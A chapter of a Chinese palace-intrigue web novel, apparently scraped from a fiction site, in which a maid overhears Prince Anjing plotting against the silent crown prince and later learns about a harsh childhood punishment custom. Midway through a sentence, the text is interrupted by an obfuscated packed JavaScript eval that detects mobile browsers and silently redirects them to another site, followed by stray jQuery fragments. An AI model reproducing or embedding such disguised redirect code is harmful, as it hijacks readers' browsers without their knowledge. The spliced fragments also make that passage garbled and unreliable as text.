11. 第 11 章

作品:《步步攻心

    安景王领着一群人四处走走,参观他的松云郊院,却见不起眼的角落,聚着刘之衍一行人。


    跟在后面的刘驰骞看见刘之衍,像遇见救星,三两步跑过去抱住他的手臂:“太子哥哥,我到处找你!谁曾想你躲在这!”


    刘驰骞被安景王拘着,陪一群腐儒逛了好一会,早憋闷得受不了了。


    刘弘煦站得笔直,给安景王请安:“见过父亲。”


    安景王微微颔首,扫视一圈后,意味不明地笑起来:“果然是年轻人,趣味相投。用不着别人邀请,自己倒凑在一起了。”


    “那可不是!”刘驰骞得意道,“我跟我太子哥哥关系多好,隔八万里,我也能闻着他的味儿,跟着味儿赶过来找他。”


    谢凝荷被他逗笑了:“王爷说的是趣味相投,可不是臭味相投。”


    刘驰骞被笑话,也不着恼:“我哥香着呢。”


    “哎?怎么还真有一股香气。太子哥哥,你这是什么?”刘驰骞扒拉刘之衍腰间缀的香囊,“哇,好丑的香包!”


    应子清:“……”


    有那么丑吗?


    刘之衍伸手挡住,护住他的“青锁香风”:“别闹。”


    安景王身后的一位儒生,上前两步,微微躬身道:“宴席快开始了,王爷,太子殿下,我们先入座吧?”


    路上走着,不知不觉,谢凝荷和应子清并肩,她看了看这个宫女:“哎呀,你戴的这个,好寒酸,太子哥哥都不给你好东西的吗?”


    应子清捂住她的绿玉佩:“啊,不是,这是我家传之物。”


    “你戴这个,别人会觉得太子哥哥在薄待你。”谢凝荷从腰间,随手解下一枚硕大的东海珍珠,“我不太喜欢这个珠子,颜色有点暗,送你吧。”


    “等等,”应子清诧异,自觉跟不上她的节奏,“我不是,我这是家传之物,需要天天佩戴……”


    “哎,给你了吧。”谢凝荷挥挥手,不耐烦道,“一会我找刘弘煦要更好的,兔子灯他还没给我回礼。”


    “……”


    不知道该说谢家大小姐会做生意,还是慷慨大方。


    莫名其妙赚了颗东海的珠子,少说能卖五百两?


    不过,谢凝荷的话提醒应子清,作为太子的女官,是不能太寒酸。


    应子清小声跟太子告了急,转身去找净室。


    在一面铜镜前,应子清把大东珠戴上,把绿玉佩藏在襦裙的夹衣中。


    还是这样更安全。


    收拾规矩,应子清从净室出来,她左右找找,忽然忘了从哪过来的了。


    虽然是秋天,地上落了不少枯叶,竹林密密丛丛,依旧遮天蔽日,难辨方位。


    应子清随意挑了条小道,走一刻钟,前方连行人踏出来的小路也没了。


    知道自己是迷路了,应子清只能掉转回头。


    “嘘,小声点,别看附近无人,但我们该谨慎些。”


    “遵命,王爷。”


    两道浑厚的男声正在交谈。


    ……


    今天什么日子,怎么走到哪,都能听到壁角!


    应子清三两步藏进假山,硬生生不敢动。


    “我实在不愿意与你们接触。”安景王那片衣角在晃动,“下次别来找我了。”


    “王爷,街外头的风言风语,您难道没听见?”另一个神秘人,捏着嗓子谄媚道,“太子殿下德不配位,已有些日头……”


    “放肆,国本岂是你随意议论的?”安景王作声道,只是听不出怒气。


    神秘人丝毫不惧,倒显得大义凛然:“小人微贱,但小人宁愿死,也要谏言!王爷,此人好俗乐,耽于享乐,又有暴戾之行,喜欢施虐惩戒下人,以显示自己的威风。若是由这样的人君临天下,岂不是朝纲紊乱,忠奸倒置!”


    将对方的话细细听了,安景王凝神半晌,笑了声:“你这是危言耸听,太过忧虑了!我贤侄年纪小,还有纠正过来的时候。这正是我们挺身而出,辅佐君王的时机。有本王在,务必使圣朝隆盛,海晏河清。”


    “倘若是……”那神秘人痛心疾首,“倘若纠正不过来呢?王爷,您岂不是袖手旁观,任由乳臭未干的小子,作践这大好江山!”


    安景王不言不语。


    神秘人见状,进而又道:“王爷,自古以来王朝兴衰,如四季更替,有盛必有衰。如今是刘姓之天下,然而世事无常,庆帝久病,太子无德,眼看朝纲步入倾颓之日……王爷素日看重品德,珍惜自己名声,却隔岸观火,对更大的祸患漠然置之。”


    神秘人激动陈词:“待国号更迭,姓氏易换……王爷,那时候可就晚了呀!”


    这一次,安景王沉默的时间变长了。


    神秘人沉了沉气,再接再厉:“王爷年富力强,有高世之德,为何不早早未雨绸缪,早做打算,使刘氏之天下,再现荣光!”


    “莫急,容我想想。”安景王沉声道,“你说的这些,可是你主人的意思?”


    “小的哪有这样的聪明才智,自是主人的意思。”


    许久,安景王叹息道:“你家主人如此鞠躬尽瘁,以报君国……是不忘本的人啊!”


    “是,可惜王爷无动于衷,纵使我家主人心急如焚,也是枉然啊……”神秘人有哭啼之声。


    “我原先不愿意惹麻烦事,毕竟,太子终是国本……”安景王慨然道,“既然如此……作为长辈岂有不关怀小辈,任其误入歧途的道理?太子殿下,近期有何进益?又闯了什么祸?把你知道的消息,统统告诉我。”


    待两个人聊完天,应子清腿脚都酸了。


    因为不敢动,她像木头人一样僵了好久。


    捶着腰腿,活动筋骨,应子清重新找到路,往刘之衍那边走。


    看来,安景王是有问鼎之心。


    这一点,应子清其实没怀疑过,自古以来,权力永远是最吸引人的,何况安景王有争位的资格。


    但她没想到,那日看起来爽朗大方的安景王,不过是佯装豁达。私底下,却是这般面目,为了一己之利,不惜监视他的贤侄。


    应子清忽然对加入安景王的阵营,有些犹豫。


    不过,摸到襦裙里的绿玉佩,应子清仍是咬咬牙。


    她要自救,拯救黎民百姓,最后回小蓝星。


    这才是最重要的事!


    当务之急,是找个机会,接触安景王。


    -


    竹林之间,设了席位,每张席位摆了桌案,铺了蒲团。


    一口大铜炉袅袅生烟,地上撒了不少金粉彩纸。


    仪式已毕,宴席开始了。


    诸位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358263|152826||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文人雅客或是月白长袍,或是淡青儒衫,列坐其间。


    相近的人交头接耳,小声论道谈玄。


    可谓风雅之极。


    别的还尚可,唯独刘之衍面前,马夫脱去上衣衫,露出垒块分明紧致饱满的肌肉,跪坐在一侧。


    ……这是什么怪癖好,应子清没看懂。


    她走到自己的蒲团,跟着跪坐。


    谢凝荷见她来了,热情招呼:“呀,这么快戴上了?你戴珍珠很好看,下回送你个更大的。”


    不愧是大小姐,出手真豪爽。


    应子清咳了声,礼貌道:“谢谢谢家大小姐送的礼物。”


    谢凝荷噗嗤一声,低头一笑:“我最不喜欢别人谢我,不然就像你这样,连说三个谢字。”


    谢家娘子不过十五六岁,面容秀气,头发细软,长着一双圆润的杏眼,非常可爱。


    应子清也笑了。


    大概应子清的眼角,不时飘向坦胸露背的马夫,谢凝荷给她解释:“是太子哥哥老规矩来着。”


    “什么规矩?”应子清好奇。


    谢凝荷嗨了声:“太子哥哥不是口讷……寡言少语吗?小时候的太子哥哥,更犟,打都打不出声。可是你想,谁又敢打他?”


    谢凝荷看了眼前方端坐的刘之衍,压低声音道:“所以,庆帝为了逼他说话,特意在聚谈之所,命太子哥哥的心腹,脱去上衣。轮到太子哥哥发言的时候,如果说的不好,或是不愿意说,就命人鞭打他的心腹,代太子哥哥受过。”


    ……


    好奇葩的做法!


    应子清不能理解。


    怪不得刘之衍听说要到这种需要发言的地方,脸色看起来不太好。


    即使来了,他也轻装上阵,只带一个贴身侍卫……是不想让更多的奴仆因为他,而受到惩戒处罚吧。


    刘之衍金尊玉贵地长大,按理说,成年后症状多少会缓解才是。


    原来源头在这里。


    庆帝强迫他说话的这种狠办法,根本适得其反,只会让刘之衍更抗拒。


    应子清不禁想到,安景王与那神秘人的谈话。


    刘之衍……为什么会成为灭国的暴君,似乎有了原因。


    他不被理解,受到的诽谤,实在太多太多。


    多到他早早学会闭口不谈,唯以沉默应对。


    众口铄金,积毁销骨。


    也许某一天,某句话成了最后一根稻草,终于把疲倦的骆驼压垮了。


    那一天,就是刘之衍成为暴君之时……


    刘之衍可不是普普通通的口讷,他患有学者综合症,那是能改变历史的天才……


    翻手为云,覆手为雨,对他而言易如反掌。


    一个聪明至极,又黑化的君王,谁能成为他的对手?


    只会被他的无情碾得粉碎。


    应子清不禁望向刘之衍孑然缄默的侧影。


    竹叶簌簌飘落,打着旋儿,坠在刘之衍桌案与蒲团上。


    刘之衍面色冷淡,神色平静,浓黑眼眸流露出极深的冷意。


    他端着酒杯,不疾不徐抿上几口,对宴席上发生的一切,不感兴趣。


    因着刘之衍太子身份,也因着他隐隐的君王气势,旁人感到威压般,不禁向外挪了挪,连声音也不自觉压了下去。